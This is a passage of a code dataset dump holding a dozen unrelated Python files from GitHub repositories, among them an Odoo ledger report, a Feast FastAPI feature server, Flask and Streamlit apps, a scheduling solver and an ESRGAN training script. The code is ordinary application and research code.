data['computed']['account_ids'] = [a for (a,) in self.env.cr.fetchall()]\n params = [tuple(data['computed']['move_state']), tuple(data['computed']['account_ids'])] + query_get_data[2]\n reconcile_clause = \"\" if data['form']['reconciled'] else ' AND \"account_move_line\".full_reconcile_id IS NULL '\n query = \"\"\"\n SELECT DISTINCT \"account_move_line\".partner_id\n FROM \"\"\" + query_get_data[0] + \"\"\", account_account AS account, account_move AS am\n WHERE \"account_move_line\".partner_id IS NOT NULL\n AND \"account_move_line\".account_id = account.id\n AND am.id = \"account_move_line\".move_id\n AND am.state IN %s\n AND \"account_move_line\".account_id IN %s\n AND NOT account.deprecated\n AND \"\"\" + query_get_data[1] + reconcile_clause\n self.env.cr.execute(query, tuple(params))\n partner_ids = [res['partner_id'] for res in self.env.cr.dictfetchall()]\n self.model = self.env.context.get('active_model')\n partners = self.env[self.model].browse(self.env.context.get('active_ids', [])).partner_ids\n partners = sorted(partners, key=lambda x: (x.ref, x.name))\n\n docargs = {\n 'doc_ids': partner_ids,\n 'doc_model': self.env['res.partner'],\n 'data': data,\n 'docs': partners,\n 'time': time,\n 'lines': self._lines,\n 'sum_partner': self._sum_partner,\n }\n return self.env['report'].render('account.report_partnerledger', docargs)","repo_name":"USG15/innovative-addons","sub_path":"accounting_reports_custom/wizard/ledger_wizards.py","file_name":"ledger_wizards.py","file_ext":"py","file_size_in_byte":4796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36668817235","text":"import json\nimport traceback\nimport warnings\n\nimport pandas as pd\nimport uvicorn\nfrom fastapi import FastAPI, HTTPException, Request, Response, status\nfrom fastapi.logger import logger\nfrom fastapi.params import Depends\nfrom google.protobuf.json_format import MessageToDict, Parse\nfrom pydantic import BaseModel\n\nimport feast\nfrom feast import proto_json\nfrom feast.data_source import PushMode\nfrom feast.errors import PushSourceNotFoundException\nfrom feast.protos.feast.serving.ServingService_pb2 import GetOnlineFeaturesRequest\n\n\n# TODO: deprecate this in favor of push features\nclass WriteToFeatureStoreRequest(BaseModel):\n feature_view_name: str\n df: dict\n allow_registry_cache: bool = True\n\n\nclass PushFeaturesRequest(BaseModel):\n push_source_name: str\n df: dict\n allow_registry_cache: bool = True\n to: str = \"online\"\n\n\ndef get_app(store: \"feast.FeatureStore\"):\n proto_json.patch()\n\n app = FastAPI()\n\n async def get_body(request: Request):\n return await request.body()\n\n @app.post(\"/get-online-features\")\n def get_online_features(body=Depends(get_body)):\n try:\n # Validate and parse the request data into GetOnlineFeaturesRequest Protobuf object\n request_proto = GetOnlineFeaturesRequest()\n Parse(body, request_proto)\n\n # Initialize parameters for FeatureStore.get_online_features(...) call\n if request_proto.HasField(\"feature_service\"):\n features = store.get_feature_service(\n request_proto.feature_service, allow_cache=True\n )\n else:\n features = list(request_proto.features.val)\n\n full_feature_names = request_proto.full_feature_names\n\n batch_sizes = [len(v.val) for v in request_proto.entities.values()]\n num_entities = batch_sizes[0]\n if any(batch_size != num_entities for batch_size in batch_sizes):\n raise HTTPException(status_code=500, detail=\"Uneven number of columns\")\n\n response_proto = store._get_online_features(\n features=features,\n entity_values=request_proto.entities,\n full_feature_names=full_feature_names,\n native_entity_values=False,\n ).proto\n\n # Convert the Protobuf object to JSON and return it\n return MessageToDict( # type: ignore\n response_proto, preserving_proto_field_name=True, float_precision=18\n )\n except Exception as e:\n # Print the original exception on the server side\n logger.exception(traceback.format_exc())\n # Raise HTTPException to return the error message to the client\n raise HTTPException(status_code=500, detail=str(e))\n\n @app.post(\"/push\")\n def push(body=Depends(get_body)):\n try:\n request = PushFeaturesRequest(**json.loads(body))\n df = pd.DataFrame(request.df)\n if request.to == \"offline\":\n to = PushMode.OFFLINE\n elif request.to == \"online\":\n to = PushMode.ONLINE\n elif request.to == \"online_and_offline\":\n to = PushMode.ONLINE_AND_OFFLINE\n else:\n raise ValueError(\n f\"{request.to} is not a supported push format. Please specify one of these ['online', 'offline', 'online_and_offline'].\"\n )\n store.push(\n push_source_name=request.push_source_name,\n df=df,\n allow_registry_cache=request.allow_registry_cache,\n to=to,\n )\n except PushSourceNotFoundException as e:\n # Print the original exception on the server side\n logger.exception(traceback.format_exc())\n # Raise HTTPException to return the error message to the client\n raise HTTPException(status_code=422, detail=str(e))\n except Exception as e:\n # Print the original exception on the server side\n logger.exception(traceback.format_exc())\n # Raise HTTPException to return the error message to the client\n raise HTTPException(status_code=500, detail=str(e))\n\n @app.post(\"/write-to-online-store\")\n def write_to_online_store(body=Depends(get_body)):\n warnings.warn(\n \"write_to_online_store is deprecated. Please consider using /push instead\",\n RuntimeWarning,\n )\n try:\n request = WriteToFeatureStoreRequest(**json.loads(body))\n df = pd.DataFrame(request.df)\n store.write_to_online_store(\n feature_view_name=request.feature_view_name,\n df=df,\n allow_registry_cache=request.allow_registry_cache,\n )\n except Exception as e:\n # Print the original exception on the server side\n logger.exception(traceback.format_exc())\n # Raise HTTPException to return the error message to the client\n raise HTTPException(status_code=500, detail=str(e))\n\n @app.get(\"/health\")\n def health():\n return Response(status_code=status.HTTP_200_OK)\n\n return app\n\n\ndef start_server(\n store: \"feast.FeatureStore\", host: str, port: int, no_access_log: bool\n):\n app = get_app(store)\n uvicorn.run(app, host=host, port=port, access_log=(not no_access_log))\n","repo_name":"rajs1006/MLOps","sub_path":"featurestore/feast/sdk/python/feast/feature_server.py","file_name":"feature_server.py","file_ext":"py","file_size_in_byte":5410,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"16900833159","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('jobs', '0009_auto_20150125_1718'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='scenario_hazard',\n name='rupture_model',\n field=models.ForeignKey(default=1, to='eng_models.Rupture_Model'),\n preserve_default=False,\n ),\n ]\n","repo_name":"ruimsbarros08/risco","sub_path":"riscoplatform/jobs/migrations/0010_auto_20150125_2056.py","file_name":"0010_auto_20150125_2056.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4572826855","text":"\n\ndef make_palindrome(s, max_moves):\n arr = list(s)\n moves = 0\n\n for i in range(len(s)//2):\n a = arr[i]\n z = arr[-1-i]\n\n if a != z:\n moves += 1\n if z > a:\n arr[i] = z\n else:\n arr[-1-i] = a\n\n if moves > max_moves:\n return -1\n\n return ''.join(arr)\n\n\nif __name__ == '__main__':\n\n len_s, k = input().split()\n k = int(k)\n s = input()\n\n output = make_palindrome(s, k)\n print(output)\n","repo_name":"reeddunkle/Codjo","sub_path":"Problem1_Richie_Rich/Solutions/Max_Output/richie_rich_max1.py","file_name":"richie_rich_max1.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"62"} +{"seq_id":"200309787","text":"import numpy as np\n'''\n%% 引力搜索算法计算加速度\n%输入: M所有个体质量\n% X所有个体位置\n% iteration 当前迭代次数\n% max_it最大迭代次数\n%输出: a加速度\n'''\ndef Acceleration(M, X, G, iteration, max_it):\n N, dim = X.shape # 获取种群维度\n final_per = 2 # 在最后一次迭代时,只有两个个体相互吸引.\n kbest = final_per + (1 - iteration / max_it) * (100 - final_per) # 计算kbest的数量\n kbest = round(N * kbest / 100) # 计算kbest的数量\n Ms = np.argsort(-M) # 对质量排序\n F = np.zeros((N, dim))\n\n for i in range(N):\n for ii in range(kbest):\n j = Ms[ii]\n if j != i:\n R = np.linalg.norm(X[i] - X[j], 2) # 计算欧式距离\n for k in range(dim):\n F[i, k] += np.random.rand() * M[j] * ((X[j, k] - X[i, k]) / (R + np.finfo(float).eps)) # 计算吸引力\n\n # 计算加速度\n a = F * G\n return a\n'''\n# 示例用法:\nM = np.array([1, 2, 3, 4, 5])\nX = np.array([[0, 0], [1, 1], [2, 2], [3, 3], [4, 4]])\nG = 0.5\niteration = 1\nmax_it = 10\n\na = Acceleration(M, X, G, iteration, max_it)\nprint(a)\n'''","repo_name":"kfzjw008/Spacecraft-mission-planning-algorithm-based-on-A2C-with-hyper-heuristics","sub_path":"utils/Acceleration.py","file_name":"Acceleration.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3056072972","text":"# coding=utf-8\nimport thulac\nfrom flask import Flask, request, jsonify, make_response\nfrom flask_cors import *\nimport json\n\ndef tagging(content):\n thu1 = thulac.thulac()\n text = thu1.cut(content, text=True)\n return text\n\napp = Flask(__name__)\nCORS(app, supports_credentials=True)\n\n@app.route(\"/POSTagging/\", methods=[\"POST\"])\ndef POStagg():\n if request.method == \"POST\":\n json_dict = request.get_json()\n content = json_dict[\"content\"]\n tag_result = tagging(content)\n tag_result1 = {\"success\": \"true\", \"msg\": tag_result}\n result1 = json.dumps(tag_result1, ensure_ascii=False)\n return result1\n else:\n return \"\"\"\n Something went horribly wrong\n \"\"\"\n\nif __name__ == \"__main__\":\n app.run(debug=True, port=5000)","repo_name":"zhifengliu22/PosTag","sub_path":"PostTag.py","file_name":"PostTag.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"12254202481","text":"from __main__ import socketio\n\nimport time\n\nfrom DataStructures.makesmithInitFuncs import MakesmithInitFuncs\n\n\nclass WebMCPProcessor(MakesmithInitFuncs):\n \"\"\"\n This class is deprecated as shifting away from WebMCP.\n \"\"\"\n\n app = None\n\n def start(self, _app):\n print(\"Starting WebMCP Queue Processor\")\n self.app = _app\n self.data.webMCPActive = True\n while True:\n time.sleep(0.001)\n while not self.data.mcp_queue.empty(): # if there is new data to be read\n message = self.data.mcp_queue.get()\n # print(\"MCP Queue:\"+message)\n if self.app is not None:\n with self.app.app_context():\n # print(\"Emitting:\"+message)\n socketio.emit(\n \"webcontrolMessage\", {\"data\": message}, namespace=\"/WebMCP\"\n )\n\n def connect(self, _app):\n self.app = _app\n\n\nclass ConsoleProcessor(MakesmithInitFuncs):\n def start(self):\n print(\"Starting Console Queue Processor\")\n while True:\n time.sleep(0.001)\n while (\n not self.data.console_queue.empty()\n ): # if there is new data to be read\n message = self.data.console_queue.get()\n print(message)\n if self.data.webMCPActive:\n # print(\"putting message in mcp_queue\")\n self.data.mcp_queue.put(message)\n","repo_name":"WebControlCNC/WebControl","sub_path":"Background/WebMCPProcessor.py","file_name":"WebMCPProcessor.py","file_ext":"py","file_size_in_byte":1500,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"62"} +{"seq_id":"15429500000","text":"from parse import read_input_file, write_output_file\nimport os\nimport Task\nimport random\n\ndef find_best_schedule(tasks, schedule, max_time):\n if not tasks:\n return schedule, calc_benefit(schedule, max_time - 240, max_time), tasks\n\n task = tasks[0]\n\n if task.get_deadline() >= max_time: \n return schedule, calc_benefit(schedule, max_time - 240, max_time), tasks\n\n return max(find_best_schedule(tasks[1:], schedule + [task], max_time), \n find_best_schedule(tasks[1:], schedule, max_time), \n key = lambda k: k[1])\n\ndef find_schedule(tasks, schedule=[]):\n if not tasks:\n return schedule, calc_benefit(schedule, 0, 1440)\n\n return max(find_schedule(tasks[1:], schedule + [tasks[0]]), \n find_schedule(tasks[1:], schedule), \n key = lambda k: k[1])\n\n\ndef calc_benefit(tasks, start_time, max_time):\n benefit = 0\n time = start_time\n for task in tasks: \n if time + task.get_duration() < max_time:\n latest_start = task.get_deadline() - task.get_duration()\n mins_late = max(0, time - latest_start)\n benefit += task.get_late_benefit(mins_late)\n time = time + task.get_duration()\n else:\n return 0\n\n return benefit\n\ndef zero_calibrate(tasks):\n for task in tasks:\n latest_start = task.get_deadline() - task.get_duration()\n\n if latest_start >= 0:\n break\n else: \n task.perfect_benefit = task.get_late_benefit(-latest_start)\n task.deadline = task.get_duration()\n return tasks\n\ndef remove_weak(tasks):\n benefit = 0\n for task in tasks:\n benefit += task.get_max_benefit()\n\n average_benefit = benefit/len(tasks)\n\n return [task for task in tasks if task.get_max_benefit() > average_benefit * .1]\n\ndef checkDeadline(currTime, task2):\n if(task2.get_deadline()-task2.get_duration() < currTime):\n return False\n return True\n\ndef greedy(tasks, a, b, c):\n tasks = sorted(tasks, key=lambda x: a*(x.get_deadline() - x.get_duration()) - c*x.get_max_benefit() - b*x.get_max_benefit()/x.get_duration())\n currTime = 0\n schedule = []\n sum = 0\n while (len(tasks) > 0):\n if (checkDeadline(currTime, tasks[0])):\n schedule.append(tasks[0])\n sum+=tasks[0].get_max_benefit()\n currTime += tasks[0].get_duration()\n del tasks[0]\n return schedule, sum\n\n\ndef solve(tasks):\n \"\"\"\n Args:\n tasks: list[Task], list of igloos to polish\n Returns:\n output: list of igloos in order of polishing \n \"\"\"\n\n tasks = zero_calibrate(tasks)\n tasks = remove_weak(tasks)\n max = 0\n iter = 10000\n final_sched = []\n a_f = 0\n b_f = 0\n c_f = 0\n for i in range(0,iter):\n a = 1*random.random()\n b = 20*random.random()\n c = 1*random.random()\n schedule, sum = greedy(tasks, a ,b, c)\n if(sum>max):\n max = sum\n final_sched = schedule\n a_f = a\n b_f = b\n c_f = c\n checkSchedule(final_sched)\n print(a_f)\n print(b_f)\n print(c_f)\n\ndef calcProfit(schedule):\n sum = 0\n for task in schedule:\n print(task)\n sum+=task.get_max_benefit()\n return sum\n\ndef checkSchedule(schedule):\n print(calcProfit(schedule))\n currTime = 0\n while(len(schedule)>1):\n currTime += schedule[0].get_duration()\n if(schedule[1].get_deadline()-schedule[1].get_duration() 0:\n rooster = roostergen.gen_rooster(vakken, dagen, daguuren)\n fitness, tempfault = roosterfitness.calc_fitness(rooster, vakken)\n for j in range(len(tempfault)):\n fault.append(tempfault[j])\n rooster_fitness = [fitness, rooster, fault]\n fault = []\n population.append(rooster_fitness)\n i -= 1\n return population\n\n\ndef get_top_populations(population: list, ammount: int):\n sortedpopulation = sorted(population, reverse=True)\n toppopulation = []\n for i in range(ammount):\n toppopulation.append(sortedpopulation[i])\n return toppopulation\n\n\ndef mutate(rooster: list, rate: int):\n rooster_new = rooster\n opties = roostergen.roosteropties(rooster_new)\n for _ in range(rate):\n pos1 = opties.pop(randint(0, len(opties) - 1))\n pos2 = opties.pop(randint(0, len(opties) - 1))\n x1 = pos1[1]\n x2 = pos2[1]\n y1 = pos1[0]\n y2 = pos2[0]\n pos1vak = rooster_new[y1][x1]\n pos2vak = rooster_new[y2][x2]\n rooster_new[y1][x1] = pos2vak\n rooster_new[y2][x2] = pos1vak\n return rooster_new\n\n\ndef next_generation(\n population: list,\n top_ammount: int,\n multiplier: int,\n vakken: list,\n dagen: int,\n daguuren: int,\n mutatie_rate: int,\n):\n population_size = len(population)\n next_population = []\n fault = []\n top_population = get_top_populations(population, top_ammount)\n if top_ammount * multiplier > population_size:\n multiplier = floor(population_size / top_ammount)\n wildcards = population_size - (top_ammount * multiplier)\n\n # for i in range(len(top_population)):\n # next_population.append(top_population[i])\n for top in top_population:\n next_population.append(top)\n\n for _ in range(multiplier - 1):\n for i in range(len(top_population)):\n rooster = top_population[i][1]\n new_rooster = mutate(rooster, mutatie_rate)\n fitness, tempfault = roosterfitness.calc_fitness(rooster, vakken)\n for j in range(len(tempfault)):\n fault.append(tempfault[j])\n new_item = [fitness, new_rooster, fault]\n fault = []\n next_population.append(new_item)\n\n for _ in range(wildcards):\n new_rooster = roostergen.gen_rooster(vakken, dagen, daguuren)\n fitness, tempfault = roosterfitness.calc_fitness(new_rooster)\n for j in range(len(tempfault)):\n fault.append(tempfault[j])\n new_item = [fitness, new_rooster, fault]\n fault = []\n next_population.append(new_item)\n\n return next_population\n","repo_name":"MineMathijs/PWS_schoolrooster","sub_path":"roosterpopulation.py","file_name":"roosterpopulation.py","file_ext":"py","file_size_in_byte":3209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"40314114246","text":"\"\"\"database table models\"\"\"\nfrom app import db\n\nclass Temps(db.Model):\n \"\"\"Data model for sensor reading data point.\"\"\"\n\n __tablename__ = 'datapoint'\n id = db.Column(\n db.Integer,\n primary_key=True\n )\n pm = db.Column(\n db.Float,\n unique=False,\n nullable=False\n )\n time = db.Column(\n db.DateTime,\n unique=True,\n nullable=False\n )\n\n def __repr__(self):\n return f'temp:{self.temperature}, time:{self.time}'\n","repo_name":"myshkins/boilerplates","sub_path":"dockercmp_flask_fastapi/code/services/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"27174029143","text":"# import necessary libraries\nfrom flask import Flask, render_template,redirect\nimport pymongo\nimport scrape_mars\n\n\n# create instance of Flask app\napp = Flask(__name__)\n\n\nclient = pymongo.MongoClient()\ndb = client.mars_db\n\n\ncollection = db.mars\ncollection_image = db.mars\ncollection_weather = db.mars\n\ncollection_hemisphere = db.mars\n\n\n\n# create route that renders index.html template\n@app.route(\"/\")\ndef home():\n\n\n News_dict= db.collection.find()\n\n feature_Image_dict = db.collection_image.find()\n\n weather_dict = db.collection_weather.find()\n\n # full_hemisphere_dict = db.collection_hemisphere.find()\n\n \n \n \n\n \n\n return render_template(\"index.html\", News_dict = News_dict, \n feature_Image_dict = feature_Image_dict,\n weather_dict = weather_dict)\n # full_hemisphere_dict = full_hemisphere_dict\n\n\n@app.route(\"/scrape\")\ndef scrape():\n db.collection.remove()\n\n News_dict = scrape_mars.mars_news_function()\n db.collection.insert_one(News_dict)\n\n db.collection_image.remove()\n feature_Image_dict = scrape_mars.Feature_Image_function()\n db.collection_image.insert_one(feature_Image_dict)\n\n db.collection_weather.remove()\n weather_dict = scrape_mars.Weather_function()\n db.collection_weather.insert_one(weather_dict)\n\n\n # db.collection_hemisphere.remove()\n # full_hemisphere_dict = scrape_mars.hemisphere_images()\n # db.collection_hemisphere.insert_one(full_hemisphere_dict)\n\n\n \n\n\n\n print('----------------')\n print('----------------')\n print(News_dict)\n print('----------------')\n print('----------------')\n print(feature_Image_dict)\n print('----------------')\n print('----------------')\n print(weather_dict)\n print('----------------')\n print('----------------')\n print(full_hemisphere_dict)\n \n\n\n\n\n \n\n \n return redirect(\"http://localhost:5000/\", code=302)\n\n\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"ruturajshete1008/Mission_to_Mars","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2034,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"30489650608","text":"import tkinter as tk\nimport customWidgets\nimport Funs\n\n'''\nClasses related to the HomePage\nHomePage Classes:\n AccountFrame\n CreditCardFrame\n Bills\n'''\n \nclass AccountFrame(tk.Frame):\n #Class to create the frame for the account\n def __init__(self, mainWinObj):\n self.mainWinObj = mainWinObj\n #Create Frame\n group = tk.LabelFrame(mainWinObj.home,text=\"Contas\", bd=4, bg = \"white\")\n group.grid(row = 0, column = 0, sticky=\"nsew\")\n\n #Create DropDown Menu Object\n titleStr = \"Escolha conta\"\n self.choices = list(mainWinObj.allAcc.accountsObjs.keys())\n if not self.choices:\n self.choices.append(\"\")\n self.options = customWidgets.OptionsMenu(group, titleStr, self.choices)\n self.options.dropMenu.tkvar.trace('w',self.change_dropdown)\n\n #Create Labels\n moneySign = tk.Label(group, text = \"R$\", bg = \"white\")\n \n totalStr = str(mainWinObj.allAcc.totalAmount)\n self.valueStr = tk.StringVar()\n self.valueStr.set(totalStr)\n self.value = tk.Label(group, textvariable = self.valueStr, bg = \"white\")\n if totalStr[0] == \"-\":\n self.value.config(fg = \"red\")\n else:\n self.value.config(fg = \"limegreen\")\n\n #Place Labels\n moneySign.grid(row=2,column=0)\n self.value.grid(row=2,column=1)\n def UpdateOptions(self):\n self.choices = list(self.mainWinObj.allAcc.accountsObjs.keys())\n self.options.dropMenu.popupMenu.config(values = self.choices)\n def UpdateLabel(self, accName):\n totalStr = str(self.mainWinObj.allAcc.accountsObjs[accName].totalAmount)\n if accName == \"Todas\":\n totalFloat = 0\n for iAcc in self.choices:\n totalFloat += self.mainWinObj.allAcc.accountsObjs[iAcc].totalAmount\n totalStr = str(totalFloat)\n self.valueStr.set(totalStr)\n if totalStr[0] == \"-\":\n self.value.config(fg = \"red\")\n else:\n self.value.config(fg = \"limegreen\")\n def change_dropdown(self, *args):\n c = []\n for arg in args:\n c.append(arg)\n accName = self.options.dropMenu.tkvar.get()\n self.UpdateLabel(accName)\n \n \nclass CreditCardFrame(tk.Frame):\n #Class to create the frame for the credit card\n def __init__(self,parent):\n #Create Frame\n group = tk.LabelFrame(parent,text=\"Cartão de Crédito\", bg = \"white\")\n group.grid(row = 1, column = 0, sticky=\"nsew\")\n\n #Set weights for the grids\n Funs.SetGridWeight(2, 3, group, [],[0,1,2])\n\n #Create DropDown Menu Object\n titleStr = \"Escolha conta\"\n choices = [\"OI\",\"KO\",\"NJ\"]\n options = customWidgets.OptionsMenu(group, titleStr, choices)\n\n #Create Labels\n moneySign = tk.Label(group, text = \"R$\", bg = \"white\")\n valueStr = \"-99\"\n value = tk.Label(group, text = \"99,99\", bg = \"white\")\n if valueStr[0] == \"-\":\n value.config(fg = \"red\")\n else:\n value.config(fg = \"limegreen\")\n\n #Place Labels\n moneySign.grid(row=2,column=0, sticky=\"nsew\")\n value.grid(row=2,column=1, sticky=\"nsew\") \n \nclass Bills(tk.Frame):\n #Class to create the frame for the credit card\n def __init__(self,parent):\n #Create Frame\n group = tk.LabelFrame(parent,text=\"Pagamentos Futuros\", bg = \"white\")\n group.grid(row = 1, column = 1, sticky=\"nsew\")\n\n #Create Labels\n moneySign = tk.Label(group, text = \"R$\", bg = \"white\")\n value = tk.Label(group, text = \"99,99\", bg = \"white\")\n\n #Place Labels\n moneySign.grid(row=0,column=0)\n value.grid(row=0,column=1)\n","repo_name":"felipepo/FinancialHelper---Tkinter","sub_path":"HomePageClasses.py","file_name":"HomePageClasses.py","file_ext":"py","file_size_in_byte":3753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31952074485","text":"import os\nimport time\n\nimport torch\nfrom torch import nn\nfrom torch import optim\nfrom torch.cuda import amp\nfrom torch.optim import lr_scheduler\nfrom torch.utils.data import DataLoader\nfrom torch.utils.tensorboard import SummaryWriter\n\nimport config\nfrom src import ImageDataset, Generator\n\ndef main():\n print(\"Load train Dataset and Valid Dataset\")\n train_dataloader, valid_dataloader = load_dataset()\n print(\"Load train dataset and valid dataset successfully.\")\n\n print(\"Build RRDBNet model...\")\n model = build_model()\n print(\"Build RRDBNet model successfully.\")\n\n print(\"Define all loss functions...\")\n psnr_criterion, pixel_criterion = define_loss()\n print(\"Define all loss functions successfully.\")\n\n print(\"Define all optimizer functions...\")\n optimizer = define_optimizer(model)\n print(\"Define all optimizer functions successfully.\")\n\n print(\"Define all scheduler functions...\")\n scheduler = define_scheduler(optimizer)\n print(\"Define all scheduler functions successfully.\")\n\n print(\"Check whether the training weight is restored...\")\n resume_checkpoint(model)\n print(\"Check whether the training weight is restored successfully.\")\n\n samples_dir = os.path.join(\"samples\", config.exp_name)\n results_dir = os.path.join(\"results\", config.exp_name)\n if not os.path.exists(samples_dir):\n os.makedirs(samples_dir)\n if not os.path.exists(results_dir):\n os.makedirs(results_dir)\n\n writer = SummaryWriter(os.path.join(\"samples\", \"logs\", config.exp_name))\n\n scaler = amp.GradScaler()\n best_psnr = 0.0\n\n print(\"Start train RRDBNet model.\")\n for epoch in range(config.start_epoch, config.epochs):\n train(model, train_dataloader, psnr_criterion, pixel_criterion, optimizer, epoch, scaler, writer)\n\n psnr = validate(model, valid_dataloader, psnr_criterion, epoch, writer)\n \n is_best = psnr > best_psnr\n best_psnr = max(psnr, best_psnr)\n torch.save(model.state_dict(), os.path.join(samples_dir, f\"g_epoch_{epoch + 1}.pth\"))\n if is_best:\n torch.save(model.state_dict(), os.path.join(results_dir, \"g-best.pth\"))\n\n \n scheduler.step()\n\n \n torch.save(model.state_dict(), os.path.join(results_dir, \"g-last.pth\"))\n print(\"End train RRDBNet model.\")\n\ndef load_dataset():\n train_datasets = ImageDataset(config.train_image_dir, config.image_size, config.upscale_factor, \"train\")\n valid_datasets = ImageDataset(config.valid_image_dir, config.image_size, config.upscale_factor, \"valid\")\n \n train_dataloader = DataLoader(train_datasets,\n batch_size=config.batch_size,\n shuffle=True,\n num_workers=config.num_workers,\n pin_memory=True,\n persistent_workers=True)\n valid_dataloader = DataLoader(valid_datasets,\n batch_size=config.batch_size,\n shuffle=False,\n num_workers=config.num_workers,\n pin_memory=True,\n persistent_workers=True)\n\n return train_dataloader, valid_dataloader\n\n\ndef build_model() -> nn.Module:\n model = Generator().to(config.device)\n\n return model\n\n\ndef define_loss():\n psnr_criterion = nn.MSELoss().to(config.device)\n pixel_criterion = nn.L1Loss().to(config.device)\n\n return psnr_criterion, pixel_criterion\n\n\ndef define_optimizer(model) -> optim.Adam:\n optimizer = optim.Adam(model.parameters(), config.model_lr, config.model_betas)\n\n return optimizer\n\n\ndef define_scheduler(optimizer) -> optim.lr_scheduler:\n scheduler = lr_scheduler.StepLR(optimizer, step_size=config.step_size, gamma=config.gamma)\n\n return scheduler\n\n\ndef resume_checkpoint(model) -> None:\n if config.resume:\n if config.resume_weight != \"\":\n \n pretrained_state_dict = torch.load(config.resume_weight)\n model_state_dict = model.state_dict()\n \n new_state_dict = {k: v for k, v in pretrained_state_dict.items() if k in model_state_dict.items()}\n \n model_state_dict.update(new_state_dict)\n model.load_state_dict(model_state_dict, strict=config.strict)\n\n\ndef train(model, train_dataloader, psnr_criterion, pixel_criterion, optimizer, epoch, scaler, writer) -> None:\n \n batches = len(train_dataloader)\n\n batch_time = AverageMeter(\"Time\", \":6.3f\")\n data_time = AverageMeter(\"Data\", \":6.3f\")\n losses = AverageMeter(\"Loss\", \":6.6f\")\n psnres = AverageMeter(\"PSNR\", \":4.2f\")\n progress = ProgressMeter(batches, [batch_time, data_time, losses, psnres], prefix=f\"Epoch: [{epoch + 1}]\")\n\n \n model.train()\n\n end = time.time()\n for index, (lr, hr) in enumerate(train_dataloader):\n \n data_time.update(time.time() - end)\n\n lr = lr.to(config.device, non_blocking=True)\n hr = hr.to(config.device, non_blocking=True)\n\n \n model.zero_grad()\n\n \n with amp.autocast():\n sr = model(lr)\n loss = pixel_criterion(sr, hr)\n\n \n scaler.scale(loss).backward()\n \n scaler.step(optimizer)\n scaler.update()\n\n \n psnr = 10. * torch.log10(1. / psnr_criterion(sr, hr))\n losses.update(loss.item(), lr.size(0))\n psnres.update(psnr.item(), lr.size(0))\n\n \n batch_time.update(time.time() - end)\n end = time.time()\n\n \n writer.add_scalar(\"Train/Loss\", loss.item(), index + epoch * batches + 1)\n if index % config.print_frequency == 0 and index != 0:\n progress.display(index)\n\n\ndef validate(model, valid_dataloader, psnr_criterion, epoch, writer) -> float:\n batch_time = AverageMeter(\"Time\", \":6.3f\")\n psnres = AverageMeter(\"PSNR\", \":4.2f\")\n progress = ProgressMeter(len(valid_dataloader), [batch_time, psnres], prefix=\"Valid: \")\n\n \n model.eval()\n\n with torch.no_grad():\n end = time.time()\n for index, (lr, hr) in enumerate(valid_dataloader):\n lr = lr.to(config.device, non_blocking=True)\n hr = hr.to(config.device, non_blocking=True)\n\n \n with amp.autocast():\n sr = model(lr)\n\n \n psnr = 10. * torch.log10(1. / psnr_criterion(sr, hr))\n psnres.update(psnr.item(), hr.size(0))\n\n \n batch_time.update(time.time() - end)\n end = time.time()\n\n if index % config.print_frequency == 0:\n progress.display(index)\n\n writer.add_scalar(\"Valid/PSNR\", psnres.avg, epoch + 1)\n \n print(f\"* PSNR: {psnres.avg:4.2f}.\\n\")\n\n return psnres.avg\n\n\nclass AverageMeter(object):\n \"\"\"Computes and stores the average and current value\"\"\"\n\n def __init__(self, name, fmt=\":f\"):\n self.name = name\n self.fmt = fmt\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\n def __str__(self):\n fmtstr = \"{name} {val\" + self.fmt + \"} ({avg\" + self.fmt + \"})\"\n return fmtstr.format(**self.__dict__)\n\n\nclass ProgressMeter(object):\n def __init__(self, num_batches, meters, prefix=\"\"):\n self.batch_fmtstr = self._get_batch_fmtstr(num_batches)\n self.meters = meters\n self.prefix = prefix\n\n def display(self, batch):\n entries = [self.prefix + self.batch_fmtstr.format(batch)]\n entries += [str(meter) for meter in self.meters]\n print(\"\\t\".join(entries))\n\n def _get_batch_fmtstr(self, num_batches):\n num_digits = len(str(num_batches // 1))\n fmt = \"{:\" + str(num_digits) + \"d}\"\n return \"[\" + fmt + \"/\" + fmt.format(num_batches) + \"]\"\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"Abhishek-Aditya-bs/ESRGAN-Pytorch","sub_path":"train_RRDBNet.py","file_name":"train_RRDBNet.py","file_ext":"py","file_size_in_byte":8054,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"33604495833","text":"\"\"\"Streamlit web app\"\"\"\n\nimport cv2\nimport numpy as np\nimport streamlit as st\nfrom gag import GAGModel\n\nst.set_option(\"deprecation.showfileUploaderEncoding\", False)\n\n\ndef main():\n gag = GAGModel()\n\n st.title(\"We get you age and gender!\")\n\n uploaded_file = st.file_uploader(\"Choose an image...\", 